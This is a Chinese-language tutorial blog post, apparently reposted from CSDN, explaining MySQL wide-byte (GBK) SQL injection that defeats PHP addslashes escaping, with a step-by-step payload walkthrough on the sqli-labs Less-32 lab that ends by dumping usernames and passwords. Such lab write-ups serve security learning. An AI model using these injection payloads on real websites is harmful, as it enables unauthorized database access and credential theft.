标签:字节 df union --+ MySQL id select 注入
MySQL 宽字节注入
1.宽字节诸如基础
GBK占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MySQL默认字符集是GBK等宽字节字符集。
%DF'
:会被PHP当中的addslashes函数转义为"%DF","“既URL里的“%5C”,那也就是说,“%DF”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MySQL使用的编码也是GBK的话,就会认为“%DF%5C%27
”是一个宽字节。也就是”運'
"
URL在线解密工具链接:
http://tool.chinaz.com/tools/urlencode.aspx
2.宽字节注入代码分析
addslashes()函数定义和用法
addslashes()
函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP
对所有的 GET
、POST
和 COOKIE
数据自动运行 addslashes()
。所以您不应对已转义过的字符串使用 addslashes()
,因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc()
进行检测。
3.宽字节SQL注入实战化
以sqli-labs-less32
为例
1.使用1'
进行探测,报错
2.发现单引号被转义,使用%df'
进行探测
3.使用--+
将其后面的内容注释
?id=1%df'--+
4.使用union注入,判断注入点
?id=-1%df' union select 1,2,3--+
5.获取数据库信息
?id=-1%df' union select 1,database(),3--+
6.知道数据库为security
,获取表名信息
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
7.知道数据库为security
,使用的表名为users
,爆破字段名,因为过滤了单引号,这里采用字符串转十六进制编码绕过
编码转换网站:https://www.sojson.com/hexadecimal.html
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273),3--+
获取字段信息内容
?id=-1%df' union select 1,(select group_concat(id,username,password) from users),3--+
标签:字节,df,union,--+,MySQL,id,select,注入 来源: https://blog.csdn.net/m_de_g/article/details/121869671
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。